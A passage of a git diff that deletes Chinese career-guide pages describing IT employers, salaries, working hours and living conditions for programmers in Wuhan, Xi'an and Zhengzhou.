:直播 -- **工作地点** :洪山区光谷软件园 -- **福利情况**: 全额五险一金,公积金 12%+饭补+话费补助 -- **招聘情况**:主要招聘 Java、前端、运维、算法等岗位。 -- **面试** :难度中等偏上。校招一般主要问计算机基础,会附带问一些你要面试的岗位所涉及到的技术问题以及根据你的项目经历来提问。社招主要就是针对你的项目经历来提问。 - -### 微派网络 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-cf4db6cd-405d-4304-8ddc-b7c995b61701.jpg) - -- **基本情况** :武汉微派网络科技有限公司(WePie Team)成立于 2013 年 8 月,主要致力于移动互联网休闲游戏和社交产品的研发和运营,旗下产品有贪吃蛇大作战、会玩、微派桌游助手、青藤之恋。 -- **业务方向** :泛娱乐 -- **工作地点** :洪山区关山大道保利广场保利国际中心 -- **福利情况**: 武汉 TOP 薪酬+丰厚绩效年终奖(普遍 15 薪+)+节日福利+租房优惠 -- **招聘情况**:主要招聘 Go 开发工程师、测试、运维和移动端开发等岗位。 -- **面试** :难度中等,通常会有两轮技术面试。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-1c05727e-6119-40c2-a07c-25d4840657c0.png) - -### 盛天网络 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-d2a8810a-fd48-4107-bc1e-d6379fe77f5d.png) - -- **基本情况** :盛天网络早期是靠网吧系统发家的,易乐游就是它家的网吧管理系统,目前已经上市! -- **业务方向** : -- **工作地点** :武汉东湖高新技术区光谷金融港 B7 栋 -- **福利情况**: 全额公积金,住房补贴,团建活动 -- **招聘情况**:主要招聘 Java 后台开发和运维等岗位。 -- **面试** :难度中等,通常会先让你做一个笔试,技术面比较重视基础。 - -### 其他 - -除了上面介绍到的这些武汉本地互联网公司之外,武汉还有下面这些不错的本地互联网公司: - -- **石墨文档** : 核心产品就是石墨文档。 -- **常相伴** :互动娱乐和社交产品,伴伴实时场景社交就是他们家的产品。 -- ...... - -## 外企 - -武汉这边的外企好像就只有一个 ThougtWorks。 - -### ThougtWorks(思特沃克) - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-e69a7526-f595-469a-b2da-65bf2e8337ba.png) - -- **基本情况** :国内的话,ThougtWorks 在北京、上海、成都、武汉、西安、香港等地都有分部。武汉是 ThougtWorks 在国内的研发总部。据我一位朋友说,在 Thoughtworks 工作是很舒服的,开放式办公、扁平化管理、技术氛围浓厚。 -- **业务方向** :咨询服务、软件外包 -- **工作地点** :洪山区关山大道保利广场保利国际中心 -- **福利情况**: 全额公积金,住房补贴,团建活动 -- **招聘情况**:主要招聘 Web 前端、全栈、Java(后端开发这块 Java 招聘偏多一些)、.NET、C/C++。 -- **面试** :一般会先给你一个作业让你做,时间是 3 天左右。一定要注意代码质量以及代码的可扩展性!作业通过之后,会进行下一步的面试。面试官通常会让你在作业的基础上做一些功能的增加或者修改,并且,还会问你一些和简历相关的技术性问题。 -- **补充** :ThougtWorks 的新人培养机制还是很赞的!对于应届生入职 ThougtWorks 的话,在你正式上手做项目之前会有 1 个月左右的培训时间。社招的话,整个流程一般会比较简单点,相关人员带你了解了公司的基本情况后,后面可能就会让你开始上手做项目了。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-4a2120aa-5253-4e73-9f81-9b76dc1a5607.png) - -## 生活 - -我们再来看看生活环境和生活成本。 - -### 房价 - -武汉的房价相对全国来说还是比较有性价比的,泡沫相对也小一些。 - -不过,武汉的工资收入相对一线城市来说也要低很多。 - -以下房价数据来源于安居客,可以作为参考。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-3e900a94-5ca9-49ee-acff-4e1d65d70eef.png) - -### 教育 - -武汉的教育资源那是相当可以!不然,大学生也不会全球数量第一。 - -作为湖北省省会,武汉有 7 所 985/211 高校,分别是武汉大学、华中科技大学、中国地质大学、武汉理工大学、华中师范大学、华中农业大学、中南财经政法大学。 - -去武汉大学看看樱花是多少情侣的愿望啊! - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-872b6d4b-232a-44c5-862c-d565ae0d6d31.jpg) - -### 医疗 - -武汉的医疗资源还是非常不错的! - -根据《2018 年武汉市卫生健康事业发展简报》,截至当年末,武汉市有三级医院 61 个,其中三级甲等医院 27 个。 - -### 交通 - -武汉的交通还是非常便利的,地铁线路非常多! - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-5b2bd490-ea00-4833-9a58-4239919a267c.png) - -不过,武汉人也多,路上的车也多,上下班堵车是常有的事。 - -武汉算的上是“交通枢纽”的存在,你从武汉出发坐高铁,你去国内大部分地方都非常方便。 - -### 美食 - -武汉的包容性比较强,你想吃的在这边基本都能找到,种类非常多。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-f90f2c4f-3e61-496e-81d6-1fd55218197a.jpg) - -早饭可以一个月不重样,各种火锅烤肉、川菜粤菜什么的随处可见。 - -### 生活 - -本地人不排外,还算比较热情。 - -武汉这边天气状况不好的原因?感觉武汉人脾气差,容易发火,尤其是汉口那边的本土居民。 - -![](http://cdn.paicoding.com/tobebetterjavaer/images/cityselect/wuhan-0e245d47-a42d-420a-98d6-5e42f7a21de5.png) - -光谷这边其实还好,因为光谷这边还是年轻人巨多,很多都是在这边工作的大学生。 - ->作者:大白,转载链接:[https://github.com/csguide-dabai/Programmer-look-at-China](https://github.com/csguide-dabai/Programmer-look-at-China) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) \ No newline at end of file diff --git a/docs/src/cityselect/xian.md b/docs/src/cityselect/xian.md deleted file mode 100644 index 23ef78967a..0000000000 --- a/docs/src/cityselect/xian.md +++ /dev/null @@ -1,318 +0,0 @@ ---- -shortTitle: 西安 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 西安都有哪些值得加入的IT互联网公司? - - -2019 年国庆节的时候去了一趟西安,和朋友一起,开车去的,大概 4 个多小时的车程,从洛阳到西安,不算太远。 - -令我印象最深刻的就是,在城墙下面的乒乓球场上遇到了一个大叔,他说自己曾经是西安市长的司机,光自己家里就 8 套房,父母那边还一些。记得当时还发了一个票圈,家里只有一个女儿~~~~~~~~~~~~ - -大叔穿着很随意,说话也非常和蔼,完全想象不到他年轻时的风采。 - -所以,西安给我的印象挺特别的。今天就来给大家聊聊西安都有哪些不错的互联网公司,上次发了青岛后呼声最高。其实,我和西安的缘分还是挺深的,纯洁的微笑、江南一点雨,都算是西安那边的。 - -## 工作机会 - -其实西安在前些年,还被称为互联网荒漠,程序员生存的空间很小。 - -在 18 年我刚到西安上研究生的时候,我们专业的学长学姐想留在西安,可选择的也只有华为、中兴以及几个研究所。但也正好是我读研的这几年,不断的有大企业在西安设点,并且将研发部门搬到西安。目前西安的互联网环境已经初具规模,对于计算机相关专业的学生,毕业留在西安也是一个不错的选择。同时这些年西安的互联网环境也在持续向好,不断有大公司在西安设立研发中心。 - -同时,西安的互联网环境还处在一个开拓期,几乎所有的大企业都在西安设立研发中心不久,所以除了有限的几个公司和部门比较轻松外,其它加班都比较严重,并且有限的几个公司和部门的情况也在变化中。 - -下面就分私企、国企、银行软件开发中心、研究所几大类来介绍西安招计算机相关专业的公司。各个公司的信息是根据我的了解以及和留在西安各个公司的同学打听所收集的,并且收集了部分网上信息。由于社招薪资水平根据每个人的情况相差较大,所以在介绍的时候比较多的提到的是校招的薪资,大家可以参考西安和其它城市的校招薪资来评估西安社招的薪资水平。 - -### 互联网 - -**华为** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-4e82d879-bbe0-4bc5-a088-fadc84483d65.png) - -如果想在西安快速挣钱的话,华为几乎是最好的选择了,按照华为的工资水平在西安买房根本没有压力。华为在西安的建制很齐全,消费者、CloudBu、云核心等事业群以及`华为海思`,2012 实验室都有。但是因为去年美国对华为的打压,消费者、华为海思以及 2012 实验室这些之前很香的事业群目前日子都不太好过。 - -西安华为校招根据面试评分给应届生进行评级,本科生和硕士生的评级在 13 级 和 15 级 之间,每一级又分为 A、B、C 三个档。根据评级进行工资的评定,13 级 和 14 级 的税前工资在每月 13-19k 之间,每年 14 薪。15 级 需要特别优秀的硕士才能拿到,工资年包基本在税前 30 万 - 40 万之间。华为在西安的校招薪资水平还是很高的,几乎和北京持平了。 - -华为在西安的社招我不是特别清楚,只是知道华为社招大部分给的是 OD ,社招想拿正式 offer 基本都需要 16 级以上的评级。 - -在华为上班是压力比较大,也比较累的。据我了解,西安华为的 CloudBu 这个事业群下的部门还相对轻松。这个事业部下的部门基本上半年轻松半年忙。在项目不忙的时候,一般工作的节奏是早上 9 点,周二和周四常态化加班到晚 9 点,周一三五 6 点 以后就可以走。每个月的最后一个周,周六要常态化加班。华为产品线的部门是相当忙的,加班到几点就说不好了。不过华为的加班费是给的相当到位的,不会让你白加班的。另外外界对华为员工的技术认可度是比较高的,从华为跳出来去西安的任何一家技术公司都没太大压力。 - -读者补充:华为现在除非是应届生,否则基本是OD(Outsourcing Dispacth,也是一种外包,和FESCO签合同,但直系领导都是华为的人,而不是在乙方公司的团队里给甲方华为干活),不能拿股票。如果你想赚钱,可以放弃一切顶住压力,去华为还不错,但也要注意部门,无线网,核心网,还有现在的车联网还不错,但是不建议考虑现在的终端了。 - -**阿里巴巴** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-135b1f20-48ad-4295-bc50-40969ef023b0.png) - -阿里巴巴还没大范围的在西安招人,情况目前还不太清楚。我问过阿里巴巴的员工,只知道目前在西安设点的部门是阿里云,需要半年在杭州上班,半年在西安上班,工资水平和杭州一致。不过目前招的量比较小,基本都是招高p,主要是做售前的业务架构设计,只有很少的校招名额。 - -**京东** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-c9b0621d-f56c-42a0-a618-f261466f06a4.png) - -京东把京东物流的团队设在了西安航天城,目测团队规模在几百人,工资水平大约是京东在北京工资的 80%。大家可以参考一下,京东去年在北京的部门,校招普通 offer 是年包 28 万,sp 是年包 32.9 万。 - -一位在西安京东的读者补充:上班早9点晚7点,周六没有培训不用来。 - -**腾讯云** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-67aa194e-52b0-4acb-b22b-1c1f4c09fac8.png) - -腾讯云是腾讯的全资子公司,目前对这里褒贬不一。校招薪资水平本科和硕士生大概是月薪 13-16k,每年 16 薪,大家可以参考一下,腾讯 21 届校招的薪资是 17-21.5k ,每年 18 薪。社招我看一个本科毕业四年经验的老哥拿到的年包是 33 万。腾讯云的职级和腾讯不是对齐的,并且业务比较边缘,这也是网上被喷的一个主要原因。目前西安腾讯云创立时间不久,加班强度是比较大的。 - -**字节跳动、小米、ViVO、OPPO** - -小米已经确定在西安设立研发中心了,但具体是哪些部门还不太清楚。字节跳动之前在西安的部门是审核相关的岗位,目前也有较为确定的消息会在西安设立研发中心,大家感兴趣的话持续关注。今年vivo在线高新环普也设立研发部门了,听说待遇不错。OPPO在西安也是刚设立研发部门不久,招人比较疯狂,听说加班也很疯狂。 - -**广联达** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-9180be40-265e-42e5-9a85-4d61193b8798.png) - -广联达西安的部门在针对 21 届毕业生的校招中开出的薪资是很有诚意的。给应届硕士的 sp 是 19k x 15,普通 offer 是 17k x 15,本科生每月基本都在 13-17k 之间。广联达工作制度基本是 965 或者 975,每个月还有一天的带薪病假。这还要啥自行车?不过广联达曾经也有过黑料,大家自行上网了解。 - -**浙江大华、海康威视** - -海康威视其实是国企,但是海康威视和大华工作强度和待遇方面特别一致,就放一块说了。大华和海康威视在西安都有设立研发基地的,并且招人很多。这哥俩目前在网上被喷的比较狠,据说工作强度很大,但工资水平又很低,并且涨薪缓慢。大家如果想去进一步了解可以去找这两个厂子的员工哈。 - -**360** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-327db5f0-4061-48c3-b672-b1670f98325f.png) - -360 在西安只有一个几十人的团队。没听说过这里有校招,社招的话 3 年以上经验的差不多能每月给到 20k 。有说在这里待的舒服的,也有喷的。 - -**奇安信** - -奇安信在校招的工资和中兴差不多,年薪 20 万 左右,工作制度是 1085。在西安招的人还是挺多的。 - -**科大讯飞** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-3592f841-8390-4399-ae8a-94c4368541ea.png) - -科大讯飞西安丝路总部主要是算法岗,不过我看网上喷的比较多。据说是活多钱少。 - -**大疆** - -在西安的岗位只有相机嵌入式和测试岗位,工资比华为还要略高。 - -**OPPO** - -21 年年初刚在西安成立,最近疯狂招人。加班严重。 - -**绿盟** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-b70c6624-f4f1-453f-9ec8-5db22661bb18.png) - -绿盟算是中型企业里比较香的,绿盟在安全领域还是比较强的。工资比较低,硕士校招才能给到 14k x 14,但是这家公司几乎不加班,员工的离职率也一直很低,我同学有违约中兴三方去绿盟的。 - -读者补充:最近在绿盟科技实习测试,深切体会到养老型公司。不加班。 - -**当当网** - -早 9 晚 8 点半,周末双休。组内氛围还不错 - -**交叉信息核心技术研究院** - -主要做人工智能。背景很强大。大佬姚期智带队,有 30 位清华交叉信息研究院的教授参与运营。招人的要求很高。 - -**寒武纪** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-fdf08fc3-d216-4382-913d-5f8b78b8e7df.png) - -寒武纪是做智能芯片的公司,背后站着中科院计算所。2019 年落户的西咸新区,相关信息比较少。我知道的是加班比较多,不过薪资也高。 - -**其他** - -其它的中型私企我就不一个个点评了,我把在西安设立研发部门的公司名字列在这里,大家感兴趣自己去了解。 - -诺瓦科技(西电的老师开的)、优信二手车、美林数据、交大捷普、交大长天、西电捷通、葡萄城、全时云、神策数据。 - -### 国企 - -感觉西安几家国企的性价比略低,工资不高,且大部分加班严重。校招应届硕士工资税前年薪基本都在 15w-20w 之间,本科生的年薪比硕士少 3w 左右。国企相较于私企涨薪会慢很多,不过相对稳定一些。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-e12acc1d-4b6d-4f2e-a352-7155b527fa07.png) - -**中兴** - -中兴校招的蓝剑计划还是给的挺多的,去年蓝剑计划给出的薪资包是 40 万以上,不过名额很少,一个大部门就一两个名额。除蓝剑计划外,其它等级的 offer 月薪在 10-15k 之间,每年 14 薪或 15 薪。 - -**移动** - -移动西安研究院和移动雄安研究院都在西安,对,你没听错,雄安研究院也在西安设点了。硕士总包大约 16-19 万,移动的工资一部分会在年底按年终奖的形式发,平常每月发的工资比较少。 - -**联通** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-33ac9a8b-04d3-4adb-8482-e725e25bb2f9.png) - -西安联通软件研究院,应届硕士的总包和移动差不多,大约 16-19 万。不过联通比较清闲,大部分部门都能下午六点就下班。目前在网上的评价相对好一些。 - -**大唐** - -大唐的加班挺严重的,周内需要有三天加班到九点。周末需要加够 8 个小时的班。 - -**烽火星空** - -当时来学校校招时,说工资会在 10-20k 之间,根据面试表现进行工资评定。最近在听说加班比较严重。 - -**太极集团** - -最初 12306 主要就是太极开发的 ,刚搬来西安不久,硕士工资水平是到手 7-8k 每月,每年 13 薪。工作稳定。出差多,加上出差补助的话每个月收入还可以。 - -**荣耀** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-19d21a8f-6a45-408a-9f0f-ae8dd40bdbb1.png) - -荣耀目前的招人需求是很大的,工作强度未知,薪资水平目前是完全对标华为的。 - -**南瑞** - -南瑞是国家电网的技术型研究院,目前的项目也基本都是围绕电力行业的。南瑞的校招工资会在基础上根据学历来价钱。西安的校招工资年薪也在 15-20w 这个范围内。大部分部门出差比较多。 - -**润联科技** - -工作稳定、薪资还可以。不过润联科技深圳那边相对好一点。 - -### 银行软件开发中心 - -除了银行软件开发中心,各省分行的科技部门大家也可以去考虑,这里就不展开介绍了。银行的软件开发中心待遇水平是不错的,且基本都属于总行编制,生活稳定。目前对于准备留在西安的同学来说,去银行的软件开发中心是一个不错的选择。但近年来有一股银行软件开发中心子公司化的浪潮,今后的稳定性未知。 - -**农行软开** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-cfa06bd9-abd6-455e-bd5c-aef4c90f7edb.png) - -农行软开目前是在西安工作的最好的几个选择之一,硕士每月到手 12k,本科生少几百块钱,年终奖 2-4 个月。大部分部门都能晚上 7 点以前下班,并且周末双休。目前农行软开有子公司化软件开发中心的计划,听消息说可以选择去子公司,也可以留在软开。目前西安的农行软开也越来越卷,大部分的 offer 都给了西电、西交、西工大这三个学校了,另外这三个学校的学生现在也不是想去农行就能去了。农行软开有个硬性规定是必须通过六级才能报。 - -**工行软开** - -西安的工行软开属于总行序列。本科生和硕士生进入工行后职级都是助理经理,年薪总包 20 万左右,本科生每月工资就比硕士生少几百块钱。工行软开每月发的工资会少一些,然后年终会一下发好几万的年终奖。本科生需要两年才能升经理一,硕士需要一年就可以升 经理一。升到 经理一 后表现好一年就可以升 经理二,不过从助理经理到经理二的薪资涨幅不大。从毕业到升职成为经理三(相当于组长)最快需要五年,经理三的年薪还是很可观的。 - -读者补充:西安工行周一、周二、周四需要加班 - -**中行软开** - -西安的中国银行软件开发中心给应届硕士的报价是年薪 13 万,大家可以参考一下。 - -中行软开的技术面试一般问的技术问题比较少,都是最基本的问题,比较简单。 - -**浙商银行** - -浙商银行在银行软开中给的工资算多的,西安硕士的年薪包是 25-28 万,本科生的年包是 19-23 万。也算一个还不错的选择了。 - -**浦发银行** - -浦发银行在西安的软件开发中心被子公司化了。工资本科是(5-7k)*24,硕士是 7.5k *24。这个工资是什么意思呢,就是每个月给你 5-7k,然后年底再一下子给你发 12 个月的工资当成年终奖。 - -**邮政银行** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-946ce62c-0afc-48c8-b570-fab660d2ea13.png) - -邮储银行软件开发中心在西安刚成立,还不太确定。目前宣传是年包 28 万以上,工作强度目测比较大。 - -**中信建投** - -中信建投刚落在西安不久,今年已经开始校招了。中信建投目前在西安算是性价比最高的几个好去处之一,工资水平较高,每年发18个月的工资,而且大部分部门加班不怎么严重。中信建投YYDS。不过目前中信建投学历卡的比较严,要求硕士985,同时本科还要求211,偶尔会放宽松一点本科的条件。 - -### 外企 - -一般情况下,外企的工作强度会更小一点,基本都是 955 和 965 的样子。 - -**三星** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-31302c7c-7dcd-4f12-b624-872b4878670d.png) - -大部分应届生都是(11-14)k \*13.5k。965 工作制。几乎都是芯片、运维相关岗位。 - -有读者补充:三星工作制度是855,16薪。可以参考。 - -**SAP** - -SAP 是一家做企业软件的德企,技术十分强大。硕士年薪 20 万左右,本科生年薪 15 万左右。 - -不过,我有一个同学去 SAP 面试之后回来说面试体验非常差。 - -读者补充:西安现在的SAP是原来的SyBase西安分公司,由于后者整体被前者收购了,所以后者在西安的分公司自然而然的变成了前者的分公司,和北京SAP分公司,上海、成都的研究员的文化都不太一样。 - -**Thougtworks** - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-167d941b-740e-4342-9d28-1ba753766398.png) - -在 Thoughtworks 工作是很舒服的,开放式办公、扁平化管理、技术氛围浓厚。工资本硕都是 13k x 14。 - -ThougtWorks 的新人培养机制还是很赞的!对于应届生入职 ThougtWorks 的话,在你正式上手做项目之前会有 1 个月左右的培训时间。社招的话,整个流程一般会比较简单点,相关人员带你了解了公司的基本情况后,后面可能就会让你开始上手做项目了。 - -**其他** - -听说汇丰和爱立信在西安也有软件开发中心,大家感兴趣可以自行去了解。 - -读者补充:爱立信在西安的不是研发中心(其研发在上海、成都,北京也有但是小,硬件研发在南京),而是运维和交付中心。 - -读者补充:汇丰在西安的不是汇丰总公司的软开,而是收购的的一家子公司,也是家银行的软开,但是待遇也不差,有在招开发和测试。 - -### 研究所 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-872dc3ff-316d-4194-b549-f998b39feedf.png) - -西安航空航天类的研究所特别多,我知道的招计算机方面的研究所有航天 504 所、771 所,航空 631 所、618 所、603 所,中电 20 所、39 所,兵器工业 203 所、204 所、205 所。 - -这些研究所中,待遇最好的是航天 504 所,但是招人的要求很高,目前校招进去的大部分是博士,双 985 硕士(就是本科和研究生都毕业于 985 高校)想进都很难。其次 618 所和兵器工业的研究所待遇还不错,这几个研究所招聘有一个隐形的要求就是双 985 硕士。其它所的性价比就比较差了。631 所曾经被誉为西北第一神所,但目前的效益也不行了,现在的待遇是年薪 10 万,第一年额外会给 5 万的安家费。 - -### 外包 - -西安有的几家比较大的是中软国际、软通动力和文思海辉。中软国际和软通动力主要是在给华为做外包,工作强度几乎和华为基本一样。外包的性价比不太高哈。 - -## 生活 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-980c455e-1858-4c52-8c4f-5c1b0ed996b4.png) - -陕西的资源基本都集中在西安,从人口上也能看出西安的资源有多集中。整个陕西三千多万人,在西安就有一千多万。并且这些年中央对西安的扶植力度越来越大。 - -### 房价 - -西安的房价从 18 年到现在翻了一倍,但就目前的房价相较于其它同类型城市算是比较友好的。现在西安的房价最贵的在曲江、第二贵是高新区。其它地方的房价差不多一万六左右吧,不过今年的全运会过后可能会长一波。按照程序员的工资来说,在西安买房的问题不算很大,这也是程序员待在西安比较舒服的地方。对于程序员来说,租房的压力相对较小,我同学有在农行软开工作的,在附近租了一个一居室的开间四十平左右,一个月一千五,上班步行用不了十分钟。高新那边租房贵一些,你愿意合租的话压力也不大。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-b905fada-e4a5-4a0a-a704-cbf9f310be6c.png) - -西安住建前段时间出了二手房交易参考价格,我贴在下面大家可以参考下,不过这个价格感觉低于市场价了。我感觉这直接打了个八折~西安住建发布二手房交易参考价格的链接在这里 https://mp.weixin.qq.com/s/Gis7kIJklWygTseztydDaw - - - -### 教育资源 - -西安的教育资源很好。高中教育资源方面,西安的名校众多。西工大附中、西安铁一中、高新一中、交大附中、陕师大附中这些学校在全国都是很有名的,另外还有一批在陕西省很有名的高中也很不错。大学教育资源方面,整个陕西有三所 985,西工大和西安交大都在西安,西北农林科技大学就在离西安不远的杨凌。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-d905fc96-b354-45fa-b6aa-cfb4e2171eb7.png) - -另外,还有像西安电子科技大学、西北大学、陕西师范大学、长安大学、第四军医大学这些不错的 211,还有像西安邮电、西安理工、西安科技大学、西安工业大学等等这些不错的双非院校。西安每年产出的人才的数量是很庞大的。这是很值得西安自豪的一点,但是这也造成了一个问题,西安就业十分的内卷。有一个现象是陕西人都愿意在西安,不愿意出来,计算去外面上学的陕西人毕业也大部分都回到了西安,另外在西安上过学的也大部分留在了西安。西安的几个效益比较好的研究所、银行软开的应聘难度比在北京的同级别单位都难很多。内卷不仅表现在计算机,计算机算好的,我了解到目前好多西安的小学老师都敢只要 211 以上毕业的硕士生。 - -### 医疗资源 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-e6f524ec-e353-48c2-b89a-cd2ca6373924.png) - -医疗资源方面西安也很给力,交大一附院、交大二附院、唐都医院、西京医院、红会医院都是放在全国都很强的,另外其他一批省内比较有名的医院也很不错。 - -### 交通 - -西安的交通方面不敢恭维,堵车那是一绝,我的感觉是西安比北京都要堵。西安的地铁 21 年初新开了 3 条线路,目前共有 8 条线路才勉强够的上需求。每逢法定节假日,旅游的人都会把西安挤炸。说到旅游,近年来西安对游客的吸引力是越来越大,一方面西安在弘扬大唐文化,另一方面西安的美食也叫一个美滴很。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/xian-e3de7963-bfcf-4b37-9306-ff9939202208.png) - -另外,大唐不夜城这里的人是真的多,尤其是夏天,晚上的时候基本打不到车! - -### 气候 - -气候方面,西安从 5 月初开始就开启高温模式,一直延续到 10 月中旬。我第一次去西安时是 8 月份,坐着动车,每个从动车下来的人都会情不自禁的喊一声妈呀。西安的热不止是白天热,晚上也很热,每年七八月份不开空调是别想睡觉的。 - -不过,西安的天气相比于武汉来说要好很多。我之前也去过武汉,又热有潮湿,天气还多变,真的顶不住! - -## 做个总结 - -综上所述,西安目前正处在高速上升的阶段,互联网行业相对北上广深杭还有一定的差距,相比与成都也还稍差一点。但是西安绝对是有潜力的,并且目前西安的房价还是比较友好的。大家如果能选择在西安发展,生活幸福感会比较高。 - -更多西安的信息,可以戳这个链接:[西安互联网](https://github.com/madawei2699/xian-IT) - ->作者:大白,转载链接:[https://mp.weixin.qq.com/s/s0Ub1CHC9eEi0YrqPrnRog](https://mp.weixin.qq.com/s/s0Ub1CHC9eEi0YrqPrnRog) - -![](https://cdn.paicoding.com/tobebetterjavaer/images/gongzhonghao.png) diff --git a/docs/src/cityselect/zhengzhou.md b/docs/src/cityselect/zhengzhou.md deleted file mode 100644 index 3e2d8fcf85..0000000000 --- a/docs/src/cityselect/zhengzhou.md +++ /dev/null @@ -1,277 +0,0 @@ ---- -shortTitle: 郑州 -category: - - 求职面试 -tag: - - 城市选择 ---- - -# 郑州都有哪些值得加入的IT互联网公司? - - -首先我们来看工作机会! - -一位读者的评论我觉得特别的好,我贴到这里给大家看下: - -网名"咔嚓":作为在郑州工作的前端,表示遇见好厂的话,生活节奏还是很爽的,房租不贵,直接住公司旁边,通勤5分钟,不加班的话,每天晚上6点下班,双休。确实郑州互联网不强,但是,我们也不应该忘了生活本该有的样子啊。 - -## 工作机会 - -郑州的互联网资源还是比较匮乏的,究其原因,我觉得和教育资源的匮乏有非常大的关系。 - -教育资源极度匮乏导致好的企业不来,好的企业不来又导致人才外流,恶性循环。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-0cd5c4ac-4e67-4b06-b5a3-20fad836824b.png) - - - -### 数字郑州 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-b88e7ee0-5ab7-40af-8d1d-16cd3eae7b97.png) - -这个是阿里和郑州的政府合作的,目前评价大家对数字郑州的评价很不错呀,薪资也挺给力的,大家可以看下 Boss 上数字郑州的招聘岗位以及薪资报价呀。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-b1ef6dc9-0859-47fd-9058-a504bf01cd5a.png) - -### 中原银行 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-db7b6919-2158-4846-914f-f30e028c0234.png) - -中原银行的工资比较高,在郑州生活的话去中原银行是很不错的选择,不过想进中原银行的话,不是校招想进去有点难。薪资水平可以看下 Boss 上的招聘薪资水平。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-ce9e2a6e-8743-49b3-83aa-8719da78b7e1.png) - - - -### 浪潮 - -浪潮在郑州的研发中心法定节假日加班是有加班费的,但平时加班就没有加班费了,每月要求加够50个小时的班。薪资水平大家也可以参考下 Boss 上放出的招聘薪资水平。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-ef0fe9a0-eff2-4037-96d2-ab84a2f76491.png) - -### 新华三 - -新华三大部分情况下能双休,周末加班也有加班费,不过涨薪很缓慢。在网上看到一个帖子,有人问 offer 选西安中兴还算郑州新华三,中兴和华三的职工都在互相劝退,说这是一个送命题。薪资水平大家还是参考下Boss上的招聘薪资水平吧。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-caa46657-f65d-4965-b553-c9f4502f3cc9.png) - -### UU 跑腿 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-624dd61d-2b19-4cb6-b4b6-e1b813fd6baf.png) - -UU 跑腿主要提供同城送件服务,是郑州本土最大的互联网公司,隶属于郑州时空隧道信息技术有限公司,地址位于郑州市金水区。 - -UU 跑腿的工作环境以及各种福利都还算不错! - -面试的话,总体体验还不错,技术面试一般问的还比较全面。拿 Java 后端开发来说,像 SQL 优化、分布式、缓存这些一般都会问到。 - -薪资的话,看准网上的平均薪资是 10k 附近,其中后端开发的薪资在 14k 附近,前端开发的薪资在 10k 附近,软件测试的薪资在 10k 附近(薪资水平仅供参考,实际情况因人和岗位或许会有一些出入)。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-b3a5d176-a10b-4637-a349-06197ee984a8.png) - -### 中原消费金融 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-3317ba70-8310-465c-b36d-60f8e215960c.png) - -河南中原消费金融股份有限公司是一家全国性非银行金融机构,地址位于郑州市郑东新区。 - -中原消费金融的办公环境非常不错,薪资福利相对也还不错。 - -整体面试体验不错,效率也非常高,像技术面试的话一般是三轮或者四轮。不过,中原消费金融比较看重学历,985/211 上岸的几率比较大。 - -薪资的话,看准网上的平均薪资是 16k 附近,其中后端开发的薪资在 17k 附近,前端开发的薪资在 16k 附近,软件测试的薪资在 14k 附近(薪资水平仅供参考,实际情况因人和岗位或许会有一些出入,应该到不了这么高)。 - -注意:大家注意一个情况,中原消费的软件研发岗位大部分都搬迁到上海了,目前在郑州的大部分是行政岗位,只有少部分研发岗位。 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-6de95df2-4c10-44af-9ddb-935cb358def6.png) - -### 刀锋互娱 - -![](https://cdn.paicoding.com/tobebetterjavaer/images/cityselect/zhengzhou-aa02294b-e809-49b6-9e96-4ec44db676c3.png) - -刀锋互娱是一家专注游戏服务市场的互联网公司,2019 年完成 A+轮融资,平台注册用户量突破千万。 - -旗下比较出名的产品有租号玩、一派陪玩,都是和游戏领域相关的产品。相信比较喜欢玩游戏的小伙伴应该对这个两个产品有了解。 